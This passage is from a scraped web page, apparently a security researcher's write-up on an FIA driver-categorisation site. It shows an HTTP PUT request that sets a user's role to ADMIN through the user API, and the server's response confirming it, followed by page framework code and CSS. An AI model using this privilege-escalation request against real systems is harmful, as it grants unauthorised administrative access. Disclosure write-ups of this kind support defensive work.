826<div hidden id="S:2"><pre class="language-json"><code class="language-json">PUT /api/users/12934 HTTP/1.1 827Host: driverscategorisation.fia.com 828User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 829Content-Length: 246 830Content-Type: application/json 831 832{ 833 "id": 12934, 834 "email": "[email protected]", 835 "firstName": "Sam", 836 "lastName": "Curry", 837 "nickName": null, 838 "roles": [ 839 { 840 "id": 1, 841 "description": "ADMIN role", 842 "name": "ADMIN" 843 } 844 ] 845}</code></pre></div>
845<script>$RC("B:2","S:2")</script>
845<div hidden id="S:3"><pre class="language-json"><code class="language-json">HTTP/1.1 200 846Content-type: application/json 847Content-Length: 313 848 849{ 850 "id": 12934, 851 "email": "[email protected]", 852 "firstName": "Sam", 853 "lastName": "Curry", 854 "nickName": null, 855 "keepNamePrivate": false, 856 "nickName2": null, 857 "birthDate": "1999-10-17", 858 "gender": null, 859 "token": null, 860 "roles": [ 861 { 862 "id": 1, 863 "description": "ADMIN role", 864 "name": "ADMIN" 865 } 866 ], 867 "country": null, 868 "filters": [], 869 "status": "ACTIVATED", 870 "secondaryEmail": null 871} 872</code></pre></div>
872<script>$RC("B:3","S:3")</script>
872<script>(self.__next_f=self.__next_f||[]).push([0])</script>
872<script>self.__next_f.push([1,"1:\"$Sreact.fragment\"\n2:I[339756,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"default\"]\n3:I[837457,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"default\"]\n6:I[897367,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"OutletBoundary\"]\n7:\"$Sreact.suspense\"\na:I[897367,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"ViewportBoundary\"]\nc:I[897367,[\"/_next/static/chunks/0ylgcnss9ue9v.js\"],\"MetadataBoundary\"]\ne:I[168027,[],\"default\",1]\n:HC[\"/\",\"\"]\n:HL[\"/_next/static/chunks/16sz9a438v8dy.css\",\"style\"]\n9:X\n0:{\"P\":null,\"c\":[\"\",\"main\",\"ian.sh\",\"fia\"],\"q\":\"\",\"i\":false,\"f\":[[[\"\",{\"children\":[\"main\",{\"children\":[[\"site\",\"ian.sh\",\"d\",[]],{\"children\":[[\"page\",\"fia\",\"oc\",[]],{\"children\":[\"__PAGE__\",{},\"$undefined\",\"$undefined\",4224]},\"$undefined\",\"$undefined\",4144]},\"$undefined\",\"$undefined\",4208]},\"$undefined\",\"$undefined\",4208]},\"$undefined\",\"$undefined\",4176],[[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":[[[\"$\",\"title\",null,{\"children\":\"404: This page could not be found.\"}],[\"$\",\"div\",null,{\"style\":{\"fontFamily\":\"system-ui,\\\"Segoe UI\\\",Roboto,Helvetica,Arial,sans-serif,\\\"Apple Color Emoji\\\",\\\"Segoe UI Emoji\\\"\",\"height\":\"100vh\",\"textAlign\":\"center\",\"display\":\"flex\",\"flexDirection\":\"column\",\"alignItems\":\"center\",\"justifyContent\":\"center\"},\"children\":[\"$\",\"div\",null,{\"children\":[[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}\"}}],[\"$\",\"h1\",null,{\"className\":\"next-error-h1\",\"style\":{\"display\":\"inline-block\",\"margin\":\"0 20px 0 0\",\"padding\":\"0 23px 0 0\",\"fontSize\":24,\"fontWeight\":500,\"verticalAlign\":\"top\",\"lineHeight\":\"49px\"},\"children\":404}],[\"$\",\"div\",null,{\"style\":{\"display\":\"inline-block\"},\"children\":[\"$\",\"h2\",null,{\"style\":{\"fontSize\":14,\"fontWeight\":400,\"lineHeight\":\"49px\",\"margin\":0},\"children\":\"This page could not be found.\"}]}]]}]}]],[]],\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[null,[\"$\",\"$L2\",null,{\"parallelRouterKey\":\"children\",\"error\":\"$undefined\",\"errorStyles\":\"$undefined\",\"errorScripts\":\"$undefined\",\"template\":[\"$\",\"$L3\",null,{}],\"templateStyles\":\"$undefined\",\"templateScripts\":\"$undefined\",\"notFound\":\"$undefined\",\"forbidden\":\"$undefined\",\"unauthorized\":\"$undefined\"}]]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[[[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-2\",{\"src\":\"/_next/static/chunks/0rr5btioklgf4.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-3\",{\"src\":\"/_next/static/chunks/2matreab0rub0.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-4\",{\"src\":\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-5\",{\"src\":\"/_next/static/chunks/3cmvik1zogxvy.js\",\"async\":true,\"nonce\":\"$undefined\"}]],\"$L4\"]}],{\"children\":[[\"$\",\"$1\",\"c\",{\"children\":[\"$L5\",[[\"$\",\"link\",\"0\",{\"rel\":\"stylesheet\",\"href\":\"/_next/static/chunks/16sz9a438v8dy.css\",\"precedence\":\"next\",\"crossOrigin\":\"$undefined\",\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-0\",{\"src\":\"/_next/static/chunks/0tebe-k_4bvw8.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-1\",{\"src\":\"/_next/static/chunks/08sikk1eypppo.js\",\"async\":true,\"nonce\":\"$undefined\"}
872],[\"$\",\"script\",\"script-2\",{\"src\":\"/_next/static/chunks/1thlt7ghjj4x5.js\",\"async\":true,\"nonce\":\"$undefined\"}],[\"$\",\"script\",\"script-3\",{\"src\":\"/_next/static/chunks/41l0cu_krzrbf.js\",\"async\":true,\"nonce\":\"$undefined\"}]],[\"$\",\"$L6\",null,{\"children\":[\"$\",\"$7\",null,{\"name\":\"Next.MetadataOutlet\",\"children\":\"$@8\"}]}]]}],{},null,false,null]},null,false,null]},null,false,\"$9\"]},null,false,\"$9\"]},null,false,\"$9\"],[\"$\",\"$1\",\"h\",{\"children\":[null,[\"$\",\"$La\",null,{\"children\":\"$Lb\"}],[\"$\",\"div\",null,{\"hidden\":true,\"children\":[\"$\",\"$Lc\",null,{\"children\":[\"$\",\"$7\",null,{\"name\":\"Next.Metadata\",\"children\":\"$Ld\"}]}]}],null]}],false]],\"m\":\"$undefined\",\"G\":[\"$e\",[]],\"S\":true,\"h\":null,\"r\":\"$undefined\",\"s\":\"$undefined\",\"a\":\"$undefined\",\"l\":\"$undefined\",\"p\":\"$undefined\",\"d\":\"$undefined\",\"b\":\"8nKJgvzrVfFJJjcVzY9_u\"}\n9:C\nb:[[\"$\",\"meta\",\"0\",{\"charSet\":\"utf-8\"}],[\"$\",\"meta\",\"1\",{\"name\":\"viewport\",\"content\":\"width=device-width, initial-scale=1\"}]]\n"])</script>
872<script>self.__next_f.push([1,"f:T438,\n (function () {\n if (typeof Node !== \"function\" || !Node.prototype || Node.prototype.__superDomGuard) {\n return;\n }\n Node.prototype.__superDomGuard = true;\n\n var originalRemoveChild = Node.prototype.removeChild;\n Node.prototype.removeChild = function (child) {\n if (child \u0026\u0026 child.parentNode !== this) {\n if (typeof console !== \"undefined\" \u0026\u0026 console.warn) {\n console.warn(\"[super] skipped removeChild for node not in this parent\", child, this);\n }\n return child;\n }\n return originalRemoveChild.apply(this, arguments);\n };\n\n var originalInsertBefore = Node.prototype.insertBefore;\n Node.prototype.insertBefore = function (newNode, referenceNode) {\n if (referenceNode \u0026\u0026 referenceNode.parentNode !== this) {\n if (typeof console !== \"undefined\" \u0026\u0026 console.warn) {\n console.warn(\"[super] skipped insertBefore for reference node not in this parent\", referenceNode, this);\n }\n return newNode;\n }\n return originalInsertBefore.apply(this, arguments);\n };\n })();\n10:T1465,\n @font-face {\n font-family: \"Inter\";\n font-style: normal;\nfont-display: swap;\n font-weight: 400;\n src: url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.eot\"); /* IE9 Compat Modes */\n \n src: local(\"\"),\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.eot?#iefix\")\n format(\"embedded-opentype\"),\n /* IE6-IE8 */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2\")\n format(\"woff2\"),\n /* Super Modern Browsers */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff\")\n format(\"woff\"),\n /* Modern Browsers */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.ttf\")\n format(\"truetype\"),\n /* Safari, Android, iOS */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.svg#Inter\")\n format(\"svg\"); /* Legacy iOS */\n \n }\n \n @font-face {\n font-family: \"Inter\";\n font-style: normal;\nfont-display: swap;\n font-weight: 500;\n src: url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.eot\"); /* IE9 Compat Modes */\n \n src: local(\"\"),\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.eot?#iefix\")\n format(\"embedded-opentype\"),\n /* IE6-IE8 */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2\")\n format(\"woff2\"),\n /* Super Modern Browsers */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff\")\n format(\"woff\"),\n /* Modern Browsers */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.ttf\")\n format(\"truetype\"),\n /* Safari, Android, iOS */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.svg#Inter\")\n format(\"svg\"); /* Legacy iOS */\n \n }\n \n @font-face {\n font-family: \"Inter\";\n font-style: normal;\nfont-display: swap;\n font-weight: 600;\n src: url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.eot\"); /* IE9 Compat Modes */\n \n src: local(\"\"),\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.eot?#iefix\")\n format(\"embedded-opentype\"),\n /* IE6-IE8 */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2\")\n format(\"woff2\"),\n /* Super Modern Browsers */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff\")\n format(\"woff\"),\n /* Modern Browsers */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.ttf\")\n format(\"truetype\"),\n /* Safari, Android, iOS */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.svg#Inter\")\n format(\"svg\"); /* Legacy iOS */\n \n }\n \n @font-face {\n font-family: \"Inter\";\n font-style: normal;\nfont-display: swap;\n font-weight: 700;\n src: url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.eot\"); /* IE9 Compat Modes */\n \n src: local(\"\"),\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.eot?#iefix\")\n format(\"embedded-opentype\"),\n /* IE6-IE8 */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2\")\n format(\"woff2\"),\n /* Super Modern Browsers */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff\")\n format(\"woff\"),\n /* Modern Browsers */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.ttf\")\n format(\"truetype\"),\n /* Safari, Android, iOS */\n url(\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.svg#Inter\")\n format(\"svg\"); /* Legacy iOS */\n \n }\n \n @font-face {\n font-family: \"Inter-fallback\";\n size-adjust: 107%;\n ascent-override: 90%;\n src: local(\"Arial\");\n }\n 4:[\"$\",\"html\",null,{\"lang\":\"en\",\"dir\":\"ltr\",\"className\":\"$undefined\",\"suppressHydrationWarning\":true,\"children\":[[\"$\",\"head\",null,{\"children\":[[\"$\",\"script\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"$f\"}}],[\"$\",\"link\",null,{\"rel\":\"icon\",\"href\":\"https://s3.amazonaws.com/super-notion/images/a35ee276-8605-424a-9466-bacce4ec24fd.png\"}],[\"$\",\"script\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"\\n const html = document.getElementsByTagName(\\\"html\\\")[0];\\n try {\\n const colorPreference = localStorage\\n ? localStorage.getItem(\\\"color-preference\\\")\\n : null;\\n\\n if (false) {\\n html.classList.remove(\\\"undefined\\\");\\n }\\n \\n if (false \u0026\u0026 colorPreference \u0026\u0026 html) {\\n html.classList.add(\\\"theme-\\\" + colorPreference);\\n } else {\\n html.classList.add(\\\"theme-default\\\");\\n }\\n } catch (e) {\\n console.log('ERROR themeEffect', e)\\n html.classList.add(\\\"theme-default\\\");\\n }\\n\"}}],[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"$10\"}}],\"$L11\",\"$L12\",[\"$L13\",\"$L14\",\"$L15\",\"$L16\"],[\"$L17\"]]}],\"$L18\"]}]\n"])</script>
872<script>self.__next_f.push([1,"19:I[868422,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"SiteProvider\"]\n1a:I[920494,[\"/_next/static/chunks/1dlft7ht-6kzk.js\",\"/_next/static/chunks/1xt6zdl-o7wg3.js\",\"/_next/static/chunks/0rr5btioklgf4.js\",\"/_next/static/chunks/2matreab0rub0.js\",\"/_next/static/chunks/2z5wb7vhdi3hf.js\",\"/_next/static/chunks/3cmvik1zogxvy.js\"],\"ThemeProvider\"]\n:HL[\"/styles/static.css\",\"style\"]\n:HL[\"/styles/notion.css\",\"style\"]\n:HL[\"/styles/super.css\",\"style\"]\n:HL[\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2\",\"font\",{\"crossOrigin\":\"anonymous\",\"type\":\"font/woff2\"}]\n:HL[\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2\",\"font\",{\"crossOrigin\":\"anonymous\",\"type\":\"font/woff2\"}]\n:HL[\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2\",\"font\",{\"crossOrigin\":\"anonymous\",\"type\":\"font/woff2\"}]\n:HL[\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2\",\"font\",{\"crossOrigin\":\"anonymous\",\"type\":\"font/woff2\"}]\n11:[\"$\",\"style\",null,{\"dangerouslySetInnerHTML\":{\"__html\":\"html{font-size:16px}\"}}]\n12:[[\"$\",\"link\",\"/styles/static.css\",{\"rel\":\"stylesheet\",\"href\":\"/styles/static.css\",\"precedence\":\"default\"}],[\"$\",\"link\",\"/styles/notion.css\",{\"rel\":\"stylesheet\",\"href\":\"/styles/notion.css\",\"precedence\":\"default\"}],[\"$\",\"link\",\"/styles/super.css\",{\"rel\":\"stylesheet\",\"href\":\"/styles/super.css\",\"precedence\":\"default\"}]]\n13:[\"$\",\"link\",\"font-preload-Inter-regular\",{\"rel\":\"preload\",\"href\":\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-regular.woff2\",\"crossOrigin\":\"anonymous\",\"as\":\"font\",\"type\":\"font/woff2\"}]\n14:[\"$\",\"link\",\"font-preload-Inter-500\",{\"rel\":\"preload\",\"href\":\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-500.woff2\",\"crossOrigin\":\"anonymous\",\"as\":\"font\",\"type\":\"font/woff2\"}]\n15:[\"$\",\"link\",\"font-preload-Inter-600\",{\"rel\":\"preload\",\"href\":\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-600.woff2\",\"crossOrigin\":\"anonymous\",\"as\":\"font\",\"type\":\"font/woff2\"}]\n16:[\"$\",\"link\",\"font-preload-Inter-700\",{\"rel\":\"preload\",\"href\":\"https://assets-v2.super.so/global/fonts/Inter/inter-v12-latin-ext_latin_cyrillic-ext_cyrillic-700.woff2\",\"crossOrigin\":\"anonymous\",\"as\":\"font\",\"type\":\"font/woff2\"}]\n17:[\"$\",\"script\",\"0\",{\"defer\":true,\"data-domain\":\"ian.sh\",\"src\":\"https://plausible.io/js/script.js\",\"children\":null}]\n1b:T14f4,\n :root {\n /* Layout */\n --padding-layout: 0.6rem;\n --border-radii-layout: 5px;\n --border-thickness-layout: 1px;\n --border-type-layout: solid;\n --border-layout: var(--border-thickness-layout)\n var(--border-type-layout) var(--color-border-default);\n --layout-max-width: 900px;\n --column-spacing: 46px;\n --page-display: flex;\n --padding-right: calc(env(safe-area-inset-right) + 96px);\n --padding-left: calc(env(safe-area-inset-left) + 96px);\n --padding-right-mobile: calc(env(safe-area-inset-right) + 24px);\n --padding-left-mobile: calc(env(safe-area-inset-left) + 24px);\n /* Header */\n --header-cover-height: 30vh;\n --header-title-align: start;\n --header-icon-align: -112px auto auto auto;\n --header-display: block;\n /* Collection header */\n --collection-header-border: var(--border-layout);\n /* Collection table */\n --collection-table-cell-padding: calc(var(--padding-layout) - 0.3rem)\n calc(var(--padding-layout) - 0.1rem);\n /* Collection list */\n --collection-list-item-padding: calc(var(--padding-layout) - 0.5rem);\n --collection-list-item-border-radii: calc(\n var(--border-radii-layout) - 1px\n );\n /* Collection card */\n --collection-card-padding: 0px;\n --collection-card-title-padding: 0px;\n --collection-card-content-padding: var(--padding-layout);\n --collection-card-border-radii: var(--border-radii-layout);\n --collection-card-gap: 10px;\n --collection-card-shadow: rgba(15, 15, 15, 0.1) 0px 0px 0px 1px, rgba(15, 15, 15, 0.1) 0px 2px 4px;\n --collection-card-title-size: 0.875rem;\n --collection-card-cover-height-small: 128px;\n --collection-card-cover-size-small: 172px;\n --collection-card-cover-height-medium: 200px;\n --collection-card-cover-size-medium: 260px;\n --collection-card-cover-height-large: 200px;\n --collection-card-cover-size-large: 320px;\n --collection-card-icon-display: inline-flex;\n /* Callout */\n --callout-padding: calc(var(--padding-layout) + 0.4rem)\n calc(var(--padding-layout) + 0.4rem)\n calc(var(--padding-layout) + 0.4rem)\n calc(var(--padding-layout) + 0.1em);\n --callout-border-radii: calc(var(--border-radii-layout) - 2px);\n --callout-border: var(--border-layout);\n --callout-icon-display: block;\n --callout-shadow: none;\n /* File */\n --file-border-radii: calc(var(--border-radii-layout) - 2px);\n /* Equation */\n --equation-border-radii: calc(var(--border-radii-layout) - 2px);\n /* Divider */\n --divider-border: var(--border-layout);\n /* Quote */\n --quote-border: calc(var(--border-thickness-layout) + 2px) solid\n currentcolor;\n /* Code */\n --code-padding: calc(var(--padding-layout) + 1.4rem);\n --code-border-radii: var(--border-radii-layout);\n /* Tweet */\n --tweet-padding: calc(var(--padding-layout) + 0.65rem)\n calc(var(--padding-layout) + 0.65rem)\n calc(var(--padding-layout) + 0.05rem)\n calc(var(--padding-layout) + 0.65rem);\n --tweet-border-radii: var(--border-radii-layout);\n --tweet-border: var(--border-layout);\n /* Bookmark */\n --bookmark-padding: calc(var(--padding-layout) + 0.15rem) 0p
872x\n calc(var(--padding-layout) + 0.025rem)\n calc(var(--padding-layout) + 0.275rem);\n --bookmark-border-radii: var(--border-radii-layout);\n --bookmark-border: var(--border-layout);\n --bookmark-image-border-radii: 0px\n calc(var(--border-radii-layout) - 1px)\n calc(var(--border-radii-layout) - 1px) 0px;\n /* Embed */\n --embed-border-radii: calc(var(--border-radii-layout) - 5px);\n /* Image */\n --image-border-radii: calc(var(--border-radii-layout) - 5px);\n /* Typography */\n --title-size: 2.5rem;\n --quote-size: 1.2rem;\n --quote-size-large: 1.4rem;\n --heading-size: 1rem;\n --primary-font: Inter, Inter-fallback, Helvetica, Apple Color Emoji,\n Segoe UI Emoji, NotoColorEmoji, Noto Color Emoji,\n Segoe UI Symbol, Android Emoji, EmojiSymbols, -apple-system,\n BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Noto Sans,\n sans-serif;\n --secondary-font: Inter, Inter-fallback, Helvetica, Apple Color Emoji,\n Segoe UI Emoji, NotoColorEmoji, Noto Color Emoji,\n Segoe UI Symbol, Android Emoji, EmojiSymbols, -apple-system,\n BlinkMacSystemFont, Segoe UI, Roboto, Helvetica Neue, Noto Sans,\n sans-serif;\n --text-weight: normal;\n --heading-weight: 600;\n --heading1-size: calc(var(--heading-size) * 1.875);\n --heading2-size: calc(var(--heading-size) * 1.5);\n --heading3-size: calc(var(--heading-size) * 1.25);\n --heading4-size: calc(var(--heading-size) * 1);\n --heading5-size: calc(var(--heading-size) * 0.8125);\n /* Scrollbars */\n --scrollbar-width: 15px;\n /* Navbar */\n --navbar-height: 56px;\n --navbar-shadow: ;\n --navbar-button-border-radii: 50px;\n --navbar-list-width-single-column: 320px;\n --navbar-list-width: 620px;\n /*Sidebar*/\n --sidebar-width: 280px;\n --sidebar-shadow: ;\n }\n html {\n scroll-padding-top: 62px;\n }\n body {\n font-family: var(--secondary-font);\n }\n\n \n 1c:T5aa6,\n html.theme-light {\n /* Gray */\n --gray-h: 45;\n --gray-s: 2%;\n --gray-l: 46%;\n --color-gray: hsl(var(--gray-h), var(--gray-s), var(--gray-l));\n --color-text-gray: var(--color-gray);\n --color-bg-gray: hsl(\n var(--gray-h),\n var(--gray-s),\n 90%\n );\n --color-bg-gray-light: var(--color-bg-gray);\n --color-pill-gray: hsl(\n calc(var(--gray-h) + 14),\n var(--gray-s),\n 88%\n );\n --color-pill-text-gray: hsl(\n var(--gray-h),\n var(--gray-s),\n calc(var(--gray-l) - 28%)\n );\n --color-bg-form-btn-gray: #A7A39A;\n\n /* Brown */\n --brown-h: 19;\n --brown-s: 31%;\n --brown-l: 47%;\n --color-brown: hsl(var(--brown-h), var(--brown-s), var(--brown-l));\n --color-text-brown: var(--color-brown);\n --color-bg-brown: hsl(\n var(--brown-h),\n var(--brown-s),\n 90%\n );\n --color-bg-brown-light: var(--color-bg-brown);\n --color-pill-brown: hsl(\n var(--brown-h),\n calc(var(--brown-s) + 10%),\n 89%\n );\n --color-pill-text-brown: hsl(\n var(--brown-h),\n calc(var(--brown-s) + 10%),\n calc(var(--brown-l) - 28%)\n );\n --color-bg-form-btn-brown: #9A6851;\n\n /* Orange */\n --orange-h: 30;\n --orange-s: 87%;\n --orange-l: 45%;\n --color-orange: hsl(\n var(--orange-h),\n var(--orange-s),\n var(--orange-l)\n );\n --color-text-orange: var(--color-orange);\n --color-bg-orange: hsl(\n var(--orange-h),\n var(--orange-s),\n 90%\n );\n --color-bg-orange-light: var(--color-bg-orange);\n --color-pill-orange: hsl(\n var(--orange-h),\n calc(var(--orange-s) - 6%),\n 87%\n );\n --color-pill-text-orange: hsl(\n calc(var(--orange-h) - 5),\n calc(var(--orange-s) - 18%),\n calc(var(--orange-l) - 28%)\n );\n --color-bg-form-btn-orange: #D9730D;\n\n /* Yellow */\n --yellow-h: 38;\n --yellow-s: 62%;\n --yellow-l: 49%;\n --color-yellow: hsl(\n var(--yellow-h),\n var(--yellow-s),\n var(--yellow-l)\n );\n --color-text-yellow: var(--color-yellow);\n --color-bg-yellow: hsl(\n var(--yellow-h),\n calc(var(--yellow-s) + 90%),\n 90%\n );\n --color-bg-yellow-light: var(--color-bg-yellow);\n --color-pill-yellow: hsl(\n calc(var(--yellow-h) + 3),\n calc(var(--yellow-s) + 24%),\n 90%\n );\n --color-pill-text-yellow: hsl(\n calc(var(--yellow-h) - 11),\n calc(var(--yellow-s) - 22%),\n calc(var(--yellow-l) - 28%)\n );\n --color-bg-form-btn-yellow: #CA922F;\n\n /* Green */\n --green-h: 149;\n --green-s: 31%;\n --green-l: 39%;\n --color-green: hsl(var(--green-h), var(--green-s), var(--green-l));\n --color-text-green: var(--color-green);
872\n --color-bg-green: hsl(\n var(--green-h),\n var(--green-s),\n 90%\n );\n --color-bg-green-light: var(--color-bg-green);\n --color-pill-green: hsl(\n calc(var(--green-h) - 28),\n calc(var(--green-s) + 3%),\n 89%\n );\n --color-pill-text-green: hsl(\n calc(var(--green-h) - 2),\n var(--green-s),\n calc(var(--green-l) - 22%)\n );\n --color-bg-form-btn-green: #448361;\n\n /* Blue */\n --blue-h: 202;\n --blue-s: 53%;\n --blue-l: 43%;\n --color-blue: hsl(var(--blue-h), var(--blue-s), var(--blue-l));\n --color-text-blue: var(--color-blue);\n --color-bg-blue: hsl(\n var(--blue-h),\n var(--blue-s),\n 90%\n );\n --color-bg-blue-light: var(--color-bg-blue);\n --color-pill-blue: hsl(\n var(--blue-h),\n calc(var(--blue-s) - 5%),\n 85%\n );\n --color-pill-text-blue: hsl(\n calc(var(--blue-h) + 7),\n calc(var(--blue-s) - 6%),\n calc(var(--blue-l) - 22%)\n );\n --color-bg-form-btn-blue: #327DA9;\n\n /* Purple */\n --purple-h: 274;\n --purple-s: 32%;\n --purple-l: 54%;\n --color-purple: hsl(\n var(--purple-h),\n var(--purple-s),\n var(--purple-l)\n );\n --color-text-purple: var(--color-purple);\n --color-bg-purple: hsl(\n var(--purple-h),\n var(--purple-s),\n 90%\n );\n --color-bg-purple-light: var(--color-bg-purple);\n --color-pill-purple: hsl(\n var(--purple-h),\n calc(var(--purple-s) + 5%),\n 90%\n );\n --color-pill-text-purple: hsl(\n calc(var(--purple-h) + 1),\n calc(var(--purple-s) + 10%),\n calc(var(--purple-l) - 31%)\n );\n --color-bg-form-btn-purple: #8F64AF;\n\n /* Pink */\n --pink-h: 328;\n --pink-s: 48%;\n --pink-l: 53%;\n --color-pink: hsl(var(--pink-h), var(--pink-s), var(--pink-l));\n --color-text-pink: var(--color-pink);\n --color-bg-pink: hsl(\n var(--pink-h),\n var(--pink-s),\n 90%\n );\n --color-bg-pink-light: var(--color-bg-pink);\n --color-pill-pink: hsl(\n var(--pink-h),\n var(--pink-s),\n 90%\n );\n --color-pill-text-pink: hsl(\n calc(var(--pink-h) + 3),\n calc(var(--pink-s) - 14%),\n calc(var(--pink-l) - 31%)\n );\n --color-bg-form-btn-pink: #C24C8B;\n\n /* Red */\n --red-h: 2;\n --red-s: 62%;\n --red-l: 55%;\n --color-red: hsl(var(--red-h), var(--red-s), var(--red-l));\n --color-text-red: var(--color-red);\n --color-bg-red: hsl(\n var(--red-h),\n var(--red-s),\n 90%\n );\n --color-bg-red-light: var(--color-bg-red);\n --color-pill-red: hsl(\n calc(var(--red-h) + 6),\n calc(var(--red-s) + 42%),\n 90%\n );\n --color-pill-text-red: hsl(\n calc(var(--red-h) + 0),\n var(--red-s),\n calc(var(--red-l) - 32%)\n );\n --color-bg-form-btn-red: #D44E49;\n\n /*Default*/\n --default-h: 45;\n --default-s: 8%;\n --default-l: 20%;\n --color-default: hsl(\n var(--default-h),\n var(--default-s),\n var(--default-l)\n );\n --color-pill-default: hsl(\n var(--gray-h),\n var(--gray-s),\n 90%\n );\n --color-pill-text-default: hsl(\n var(--gray-h),\n var(--gray-s),\n calc(var(--gray-l) - 28%)\n );\n --color-bg-form-btn-default: #55534E;\n\n /*Other*/\n --color-text-default: 